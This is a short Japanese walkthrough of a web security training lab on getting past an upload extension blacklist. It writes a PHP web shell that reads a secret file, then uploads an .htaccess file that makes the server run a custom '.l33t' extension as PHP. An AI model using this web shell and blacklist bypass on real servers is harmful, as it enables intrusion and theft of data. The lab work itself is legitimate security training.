Web shell upload via extension blacklist bypass
wienerでログイン、アバター画像をアップして、My accountに戻ります
ヒストリーから、
GET /files/avatars/xx.jpg
リクエストを探しリピータに
*フィルターで、imagesにチェックを入れると表示されます。
exploit.phpの名前で以下のファイルを作ります
<?php echo file_get_contents('/home/carlos/secret'); ?>
アバター画面からアップロードしてみます。
Sorry, php files are not allowed Sorry, there was an error uploading your file.
と表示されました。
phpの拡張子チェックがかかっているようです
ヒストリーで
POST /my-account/avatar
を探し、リピータに
filenameパラメータを .htaccess
Content-Typeヘッダー text/plain
phpの部分を AddType application/x-httpd-php .l33t
に変更します
これは、.htacessファイルに、phpファイルを .133t拡張子でも動作するよう登録してます。
事前の仕込みですね。
sendすると、アップロード成功したようです
もう一度、ヒストリーから
POST /my-account/avatar リクエストをリピータに
filenameパラメータ exploit.l33t
で、sendします
アップロード成功したようです
GET /files/avatars/xx.jpgを含む、リピータのタブに切り替え
ファイル名を、exploit.l33t に
send
アップしたphpファイルが実行されたようです
秘密のファイルを、Submit solutionに
クリア!
–)v
コメント